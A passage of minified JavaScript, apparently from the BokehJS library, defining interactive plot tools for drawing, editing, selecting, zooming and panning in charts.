n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FreehandDrawTool\\\",this.prototype.default_view=a,this.define({num_objects:[o.Int,0]})},t}(s.EditTool);(i.FreehandDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){var e=t.shiftKey,i=this._select_event(t,e,this.model.renderers);if(!i.length&&this.model.add){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=n.glyph,s=n.data_source,a=[o.x.field,o.y.field],l=a[0],h=a[1],u=r[0],c=r[1];this._pop_glyphs(s,this.model.num_objects),l&&s.get_array(l).push(u),h&&s.get_array(h).push(c),this._pad_empty_columns(s,[l,h]),s.change.emit(),s.data=s.data,s.properties.data.change.emit()}}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&n.data_source.selection_manager.clear()}},e.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},e.prototype._pan=function(t){this.model.drag&&null!=this._basepoint&&this._drag_points(t,this.model.renderers)},e.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}this._basepoint=null}},e}(s.EditToolView);i.PointDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Point Draw Tool\\\",e.icon=\\\"bk-tool-icon-point-draw\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=2,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PointDrawTool\\\",this.prototype.default_view=a,this.define({add:[o.Bool,!0],drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.EditTool);(i.PointDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),y=t(44),s=t(248),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t._initialized=!1,t}return n.__extends(t,e),t.prototype._tap=function(t){this._drawing?this._draw(t,\\\"add\\\",!0):this._select_event(t,t.shiftKey,this.model.renderers)},t.prototype._draw=function(t,e,i){var n;void 0===i&&(i=!1);var r=this.model.renderers[0],o=this._map_drag(t.sx,t.sy,r);if(this._initialized||this.activate(),null!=o){var s=o[0],a=o[1];n=this._snap_to_vertex(t,s,a),s=n[0],a=n[1];var l=r.data_source,h=r.glyph,u=[h.xs.field,h.ys.field],c=u[0],_=u[1];if(\\\"new\\\"==e)this._pop_glyphs(l,this.model.num_objects),c&&l.get_array(c).push([s,s]),_&&l.get_array(_).push([a,a]),this._pad_empty_columns(l,[c,_]);else if(\\\"edit\\\"==e){if(c){var p=l.data[c][l.data[c].length-1];p[p.length-1]=s}if(_){var d=l.data[_][l.data[_].length-1];d[d.length-1]=a}}else if(\\\"add\\\"==e){if(c){var f=l.data[c].length-1,p=l.get_array(c)[f],v=p[p.length-1];p[p.length-1]=s,y.isArray(p)||(p=Array.from(p),l.data[c][f]=p),p.push(v)}if(_){var m=l.data[_].length-1,d=l.get_array(_)[m],g=d[d.length-1];d[d.length-1]=a,y.isArray(d)||(d=Array.from(d),l.data[_][m]=d),d.push(g)}}this._emit_cds_changes(l,!0,!1,i)}},t.prototype._show_vertices=function(){for(var t=[],e=[],i=0;i<this.model.renderers.length;i++){var n=this.model.renderers[i],r=n.data_source,o=n.glyph,s=[o.xs.field,o.ys.field],a=s[0],l=s[1];if(a)for(var h=0,u=r.get_array(a);h<u.length;h++){var c=u[h];Array.prototype.push.apply(t,c)}if(l)for(var _=0,p=r.get_array(l);_<p.length;_++){var c=p[_];Array.prototype.push.apply(e,c)}this._drawing&&i==this.model.renderers.length-1&&(t.splice(t.length-1,1),e.splice(e.length-1,1))}this._set_vertices(t,e)},t.prototype._doubletap=function(t){this.model.active&&(this._drawing?(this._drawing=!1,this._draw(t,\\\"edit\\\",!0)):(this._drawing=!0,this._draw(t,\\\"new\\\",!0)))},t.prototype._move=function(t){this._drawing&&this._draw(t,\\\"edit\\\")},t.prototype._remove=function(){var t=this.model.renderers[0],e=t.data_source,i=t.glyph,n=[i.xs.field,i.ys.field],r=n[0],o=n[1];if(r){var s=e.data[r].length-1,a=e.get_array(r)[s];a.splice(a.length-1,1)}if(o){var l=e.data[o].length-1,h=e.get_array(o)[l];h.splice(h.length-1,1)}this._emit_cds_changes(e)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&(this._drawing&&(this._remove(),this._drawing=!1),n.data_source.selection_manager.clear())}},t.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},t.prototype._pan=function(t){if(null!=this._basepoint&&this.model.drag){for(var e=this._basepoint,i=e[0],n=e[1],r=0,o=this.model.renderers;r<o.length;r++){var s=o[r],a=this._map_drag(i,n,s),l=this._map_drag(t.sx,t.sy,s);if(null!=l&&null!=a){var h=s.data_source,u=s.glyph,c=[u.xs.field,u.ys.field],_=c[0],p=c[1];if(_||p){for(var d=l[0],f=l[1],v=a[0],m=a[1],g=[d-v,f-m],y=g[0],b=g[1],x=0,w=h.selected.indices;x<w.length;x++){var k=w[x],S=void 0,C=void 0,T=void 0;_&&(C=h.data[_][k]),p?(T=h.data[p][k],S=T.length):S=C.length;for(var A=0;A<S;A++)C&&(C[A]+=y),T&&(T[A]+=b)}h.change.emit()}}}this._basepoint=[t.sx,t.sy]}},t.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source)}this._basepoint=null}},t.prototype.activate=function(){var t=this;if(this.model.vertex_renderer&&this.model.active){if(this._show_vertices(),!this._initialized)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e],r=n.data_source;r.connect(r.properties.data.change,function(){return t._show_vertices()})}this._initialized=!0}},t.prototype.deactivate=function(){this._drawing&&(this._remove(),this._drawing=!1),this.model.vertex_renderer&&this._hide_vertices()},t}(s.PolyToolView);i.PolyDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Polygon Draw Tool\\\",e.icon=\\\"bk-tool-icon-poly-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\",\\\"move\\\"],e.default_order=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyDrawTool\\\",this.prototype.default_view=a,this.define({drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.PolyTool);(i.PolyDrawTool=l).initClass()},function(t,e,i){var n=t(391),o=t(5),c=t(44),r=t(248),s=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t}return n.__extends(t,e),t.prototype._doubletap=function(t){if(this.model.active){var e=this._map_drag(t.sx,t.sy,this.model.vertex_renderer);if(null!=e){var i=e[0],n=e[1],r=this._select_event(t,!1,[this.model.vertex_renderer]),o=this.model.vertex_renderer.data_source,s=this.model.vertex_renderer.glyph,a=[s.x.field,s.y.field],l=a[0],h=a[1];if(r.length&&null!=this._selected_renderer){var u=o.selected.indices[0];this._drawing?(this._drawing=!1,o.selection_manager.clear()):(o.selected.indices=[u+1],l&&o.get_array(l).splice(u+1,0,i),h&&o.get_array(h).splice(u+1,0,n),this._drawing=!0),o.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}else this._show_vertices(t)}}},t.prototype._show_vertices=function(t){if(this.model.active){var e=this._select_event(t,!1,this.model.renderers);if(!e.length)return this._set_vertices([],[]),this._selected_renderer=null,void(this._drawing=!1);var i,n,r=e[0],o=r.glyph,s=r.data_source,a=s.selected.indices[0],l=[o.xs.field,o.ys.field],h=l[0],u=l[1];h?(i=s.data[h][a],c.isArray(i)||(s.data[h][a]=i=Array.from(i))):i=o.xs.value,u?(n=s.data[u][a],c.isArray(n)||(s.data[u][a]=n=Array.from(n))):n=o.ys.value,this._selected_renderer=r,this._set_vertices(i,n)}},t.prototype._move=function(t){var e;if(this._drawing&&null!=this._selected_renderer){var i=this.model.vertex_renderer,n=i.data_source,r=i.glyph,o=this._map_drag(t.sx,t.sy,i);if(null==o)return;var s=o[0],a=o[1],l=n.selected.indices;e=this._snap_to_vertex(t,s,a),s=e[0],a=e[1],n.selected.indices=l;var h=[r.x.field,r.y.field],u=h[0],c=h[1],_=l[0];u&&(n.data[u][_]=s),c&&(n.data[c][_]=a),n.change.emit(),this._selected_renderer.data_source.change.emit()}},t.prototype._tap=function(t){var e,i=this.model.vertex_renderer,n=this._map_drag(t.sx,t.sy,i);if(null!=n){if(this._drawing&&this._selected_renderer){var r=n[0],o=n[1],s=i.data_source,a=i.glyph,l=[a.x.field,a.y.field],h=l[0],u=l[1],c=s.selected.indices;e=this._snap_to_vertex(t,r,o),r=e[0],o=e[1];var _=c[0];if(s.selected.indices=[_+1],h){var p=s.get_array(h),d=p[_];p[_]=r,p.splice(_+1,0,d)}if(u){var f=s.get_array(u),v=f[_];f[_]=o,f.splice(_+1,0,v)}return s.change.emit(),void this._emit_cds_changes(this._selected_renderer.data_source,!0,!1,!0)}var m=t.shiftKey;this._select_event(t,m,[i]),this._select_event(t,m,this.model.renderers)}},t.prototype._remove_vertex=function(){if(this._drawing&&this._selected_renderer){var t=this.model.vertex_renderer,e=t.data_source,i=t.glyph,n=e.selected.indices[0],r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&e.get_array(o).splice(n,1),s&&e.get_array(s).splice(n,1),e.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}},t.prototype._pan_start=function(t){this._select_event(t,!0,[this.model.vertex_renderer]),this._basepoint=[t.sx,t.sy]},t.prototype._pan=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._selected_renderer&&this._selected_renderer.data_source.change.emit())},t.prototype._pan_end=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._emit_cds_changes(this.model.vertex_renderer.data_source,!1,!0,!0),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source),this._basepoint=null)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame){var e;e=this._selected_renderer?[this.model.vertex_renderer]:this.model.renderers;for(var i=0,n=e;i<n.length;i++){var r=n[i];t.keyCode===o.Keys.Backspace?(this._delete_selected(r),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source)):t.keyCode==o.Keys.Esc&&(this._drawing?(this._remove_vertex(),this._drawing=!1):this._selected_renderer&&this._hide_vertices(),r.data_source.selection_manager.clear())}}},t.prototype.deactivate=function(){this._selected_renderer&&(this._drawing&&(this._remove_vertex(),this._drawing=!1),this._hide_vertices())},t}(r.PolyToolView);i.PolyEditToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Edit Tool\\\",e.icon=\\\"bk-tool-icon-poly-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=4,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyEditTool\\\",this.prototype.default_view=s},t}(r.PolyTool);(i.PolyEditTool=a).initClass()},function(t,e,i){var n=t(391),r=t(15),a=t(44),o=t(243),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_vertices=function(t,e){var i=this.model.vertex_renderer.glyph,n=this.model.vertex_renderer.data_source,r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&(a.isArray(t)?n.data[o]=t:i.x={value:t}),s&&(a.isArray(e)?n.data[s]=e:i.y={value:e}),this._emit_cds_changes(n,!0,!0,!1)},e.prototype._hide_vertices=function(){this._set_vertices([],[])},e.prototype._snap_to_vertex=function(t,e,i){if(this.model.vertex_renderer){var n=this._select_event(t,!1,[this.model.vertex_renderer]),r=this.model.vertex_renderer.data_source,o=this.model.vertex_renderer.glyph,s=[o.x.field,o.y.field],a=s[0],l=s[1];if(n.length){var h=r.selected.indices[0];a&&(e=r.data[a][h]),l&&(i=r.data[l][h]),r.selection_manager.clear()}}return[e,i]},e}(o.EditToolView);i.PolyToolView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyTool\\\",this.prototype.default_view=s,this.define({vertex_renderer:[r.Instance]})},t}(o.EditTool);(i.PolyTool=l).initClass()},function(t,e,i){var v=t(391),n=t(256),r=t(64),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return v.__extends(e,t),e.prototype._compute_limits=function(t){var e=this.plot_model.frame,i=this.model.dimensions,n=this._base_point;if(\\\"center\\\"==this.model.origin){var r=n[0],o=n[1],s=t[0],a=t[1];n=[r-(s-r),o-(a-o)]}return this.model._get_dim_limits(n,t,e,i)},e.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this._base_point=[e,i]},e.prototype._pan=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1];if(this.model.overlay.update({left:o[0],right:o[1],top:s[0],bottom:s[1]}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(o,s,!1,a)}},e.prototype._pan_end=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1],a=t.shiftKey;this._do_select(o,s,!0,a),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null,this.plot_view.push_state(\\\"box_select\\\",{selection:this.plot_view.get_selection()})},e.prototype._do_select=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l={type:\\\"rect\\\",sx0:r,sx1:o,sy0:s,sy1:a};this._select(l,i,n)},e.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=t.sx0,s=t.sx1,a=t.sy0,l=t.sy1,h=n.r_invert(o,s),u=h[0],c=h[1],_=r.r_invert(a,l),p=_[0],d=_[1],f=v.__assign({x0:u,y0:p,x1:c,y1:d},t);this.model.callback.execute(this.model,{geometry:f})},e}(n.SelectToolView);i.BoxSelectToolView=s;var a=function(){return new r.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Select\\\",e.icon=\\\"bk-tool-icon-box-select\\\",e.event_type=\\\"pan\\\",e.default_order=30,e}return v.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxSelectTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"],select_every_mousemove:[o.Bool,!1],callback:[o.Instance],overlay:[o.Instance,a],origin:[o.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(n.SelectTool);(i.BoxSelectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(64),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._match_aspect=function(t,e,i){var n,r,o,s,a=i.bbox.aspect,l=i.bbox.h_range.end,h=i.bbox.h_range.start,u=i.bbox.v_range.end,c=i.bbox.v_range.start,_=Math.abs(t[0]-e[0]),p=Math.abs(t[1]-e[1]),d=0==p?0:_/p,f=(a<=d?[1,d/a]:[a/d,1])[0];return t[0]<=e[0]?(n=t[0],r=t[0]+_*f,l<r&&(r=l)):(r=t[0],(n=t[0]-_*f)<h&&(n=h)),_=Math.abs(r-n),t[1]<=e[1]?(s=t[1],o=t[1]+_/a,u<o&&(o=u)):(o=t[1],(s=t[1]-_/a)<c&&(s=c)),p=Math.abs(o-s),t[0]<=e[0]?r=t[0]+a*p:n=t[0]-a*p,[[n,r],[s,o]]},e.prototype._compute_limits=function(t){var e,i,n,r,o=this.plot_model.frame,s=this.model.dimensions,a=this._base_point;if(\\\"center\\\"==this.model.origin){var l=a[0],h=a[1],u=t[0],c=t[1];a=[l-(u-l),h-(c-h)]}return this.model.match_aspect&&\\\"both\\\"==s?(e=this._match_aspect(a,t,o),n=e[0],r=e[1]):(i=this.model._get_dim_limits(a,t,o,s),n=i[0],r=i[1]),[n,r]},e.prototype._pan_start=function(t){this._base_point=[t.sx,t.sy]},e.prototype._pan=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this.model.overlay.update({left:n[0],right:n[1],top:r[0],bottom:r[1]})},e.prototype._pan_end=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this._update(n,r),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null},e.prototype._update=function(t,e){var i=t[0],n=t[1],r=e[0],o=e[1];if(!(Math.abs(n-i)<=5||Math.abs(o-r)<=5)){var s=this.plot_model.frame,a=s.xscales,l=s.yscales,h={};for(var u in a){var c=a[u],_=c.r_invert(i,n),p=_[0],d=_[1];h[u]={start:p,end:d}}var f={};for(var v in l){var c=l[v],m=c.r_invert(r,o),p=m[0],d=m[1];f[v]={start:p,end:d}}var g={xrs:h,yrs:f};this.plot_view.push_state(\\\"box_zoom\\\",{range:g}),this.plot_view.update_range(g)}},e}(r.GestureToolView);i.BoxZoomToolView=a;var l=function(){return new o.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Zoom\\\",e.icon=\\\"bk-tool-icon-box-zoom\\\",e.event_type=\\\"pan\\\",e.default_order=20,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[s.Dimensions,\\\"both\\\"],overlay:[s.Instance,l],match_aspect:[s.Bool,!1],origin:[s.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.BoxZoomTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.GestureToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=o.OnOffButtonView,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GestureTool\\\"},t}(r.ButtonTool);(i.GestureTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data=null},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_overlay()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_overlay()},t.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this.data={sx:[e],sy:[i]}},t.prototype._pan=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox.clip(e,i),r=n[0],o=n[1];this.data.sx.push(r),this.data.sy.push(o);var s=this.model.overlay;if(s.update({xs:this.data.sx,ys:this.data.sy}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!1,a)}},t.prototype._pan_end=function(t){this._clear_overlay();var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"lasso_select\\\",{selection:this.plot_view.get_selection()})},t.prototype._clear_overlay=function(){this.model.overlay.update({xs:[],ys:[]})},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.LassoSelectToolView=a;var h=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},u=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Lasso Select\\\",e.icon=\\\"bk-tool-icon-lasso-select\\\",e.event_type=\\\"pan\\\",e.default_order=12,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"LassoSelectTool\\\",this.prototype.default_view=a,this.define({select_every_mousemove:[s.Bool,!0],callback:[s.Instance],overlay:[s.Instance,h]})},t}(n.SelectTool);(i.LassoSelectTool=u).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox;if(!n.contains(e,i)){var r=n.h_range,o=n.v_range;(e<r.start||e>r.end)&&(this.v_axis_only=!0),(i<o.start||i>o.end)&&(this.h_axis_only=!0)}null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan=function(t){this._update(t.deltaX,t.deltaY),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan_end=function(t){this.h_axis_only=!1,this.v_axis_only=!1,null!=this.pan_info&&this.plot_view.push_state(\\\"pan\\\",{range:this.pan_info})},e.prototype._update=function(t,e){var i,n,r,o,s,a,l=this.plot_model.frame,h=t-this.last_dx,u=e-this.last_dy,c=l.bbox.h_range,_=c.start-h,p=c.end-h,d=l.bbox.v_range,f=d.start-u,v=d.end-u,m=this.model.dimensions;\\\"width\\\"!=m&&\\\"both\\\"!=m||this.v_axis_only?(i=c.start,n=c.end,r=0):(i=_,n=p,r=-h),\\\"height\\\"!=m&&\\\"both\\\"!=m||this.h_axis_only?(o=d.start,s=d.end,a=0):(o=f,s=v,a=-u),this.last_dx=t,this.last_dy=e;var g=l.xscales,y=l.yscales,b={};for(var x in g){var w=g[x],k=w.r_invert(i,n),S=k[0],C=k[1];b[x]={start:S,end:C}}var T={};for(var A in y){var w=y[A],E=w.r_invert(o,s),S=E[0],C=E[1];T[A]={start:S,end:C}}this.pan_info={xrs:b,yrs:T,sdx:r,sdy:a},this.plot_view.update_range(this.pan_info,!0)},e}(r.GestureToolView);i.PanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Pan\\\",e.event_type=\\\"pan\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PanTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Pan\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){switch(this.dimensions){case\\\"both\\\":return\\\"bk-tool-icon-pan\\\";case\\\"width\\\":return\\\"bk-tool-icon-xpan\\\";case\\\"height\\\":return\\\"bk-tool-icon-ypan\\\"}},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.PanTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=t(21),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data={sx:[],sy:[]}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_data()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_data()},t.prototype._doubletap=function(t){var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"poly_select\\\",{selection:this.plot_view.get_selection()}),this._clear_data()},t.prototype._clear_data=function(){this.data={sx:[],sy:[]},this.model.overlay.update({xs:[],ys:[]})},t.prototype._tap=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame;n.bbox.contains(e,i)&&(this.data.sx.push(e),this.data.sy.push(i),this.model.overlay.update({xs:a.copy(this.data.sx),ys:a.copy(this.data.sy)}))},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.PolySelectToolView=h;var u=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Select\\\",e.icon=\\\"bk-tool-icon-polygon-select\\\",e.event_type=\\\"tap\\\",e.default_order=11,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolySelectTool\\\",this.prototype.default_view=h,this.define({callback:[s.Instance],overlay:[s.Instance,u]})},t}(n.SelectTool);(i.PolySelectTool=c).initClass()},function(t,e,i){var n=t(391),_=t(64),r=t(14),o=t(15),s=t(251);function p(t,e,i,n){if(null==e)return!1;var r=i.compute(e);return Math.abs(t-r)<n}function d(t,e,i,n,r){var o=!0;if(null!=r.left&&null!=r.right){var s=i.invert(t);(s<r.left||s>r.right)&&(o=!1)}if(null!=r.bottom&&null!=r.top){var a=n.invert(e);(a<r.bottom||a>r.top)&&(o=!1)}return o}function l(t,e,i,n){var r=e.compute(t),o=e.invert(r+i);return o>=n.start&&o<=n.end?o:t}function h(t,e,i,n){var r=e.r_compute(t.start,t.end),o=r[0],s=r[1],a=e.r_invert(o+i,s+i),l=a[0],h=a[1];l>=n.start&&l<=n.end&&h>=n.start&&h<=n.end&&(t.start=l,t.end=h)}i.is_near=p,i.is_inside=d,i.compute_value=l,i.update_range=h;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.side=0,this.model.update_overlay_from_ranges()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),null!=this.model.x_range&&this.connect(this.model.x_range.change,function(){return t.model.update_overlay_from_ranges()}),null!=this.model.y_range&&this.connect(this.model.y_range.change,function(){return t.model.update_overlay_from_ranges()})},t.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=this.model.x_range,i=this.model.y_range,n=this.plot_model.frame,r=n.xscales.default,o=n.yscales.default,s=this.model.overlay,a=s.left,l=s.right,h=s.top,u=s.bottom,c=this.model.overlay.properties.line_width.value()+_.EDGE_TOLERANCE;null!=e&&this.model.x_interaction&&(p(t.sx,a,r,c)?this.side=1:p(t.sx,l,r,c)?this.side=2:d(t.sx,t.sy,r,o,s)&&(this.side=3)),null!=i&&this.model.y_interaction&&(0==this.side&&p(t.sy,u,o,c)&&(this.side=4),0==this.side&&p(t.sy,h,o,c)?this.side=5:d(t.sx,t.sy,r,o,this.model.overlay)&&(3==this.side?this.side=7:this.side=6))},t.prototype._pan=function(t){var e=this.plot_model.frame,i=t.deltaX-this.last_dx,n=t.deltaY-this.last_dy,r=this.model.x_range,o=this.model.y_range,s=e.xscales.default,a=e.yscales.default;null!=r&&(3==this.side||7==this.side?h(r,s,i,e.x_range):1==this.side?r.start=l(r.start,s,i,e.x_range):2==this.side&&(r.end=l(r.end,s,i,e.x_range))),null!=o&&(6==this.side||7==this.side?h(o,a,n,e.y_range):4==this.side?o.start=l(o.start,a,n,e.y_range):5==this.side&&(o.end=l(o.end,a,n,e.y_range))),this.last_dx=t.deltaX,this.last_dy=t.deltaY},t.prototype._pan_end=function(t){this.side=0},t}(s.GestureToolView);i.RangeToolView=a;var u=function(){return new _.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",fill_color:\\\"lightgrey\\\",fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:.5},line_dash:[2,2]})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Range 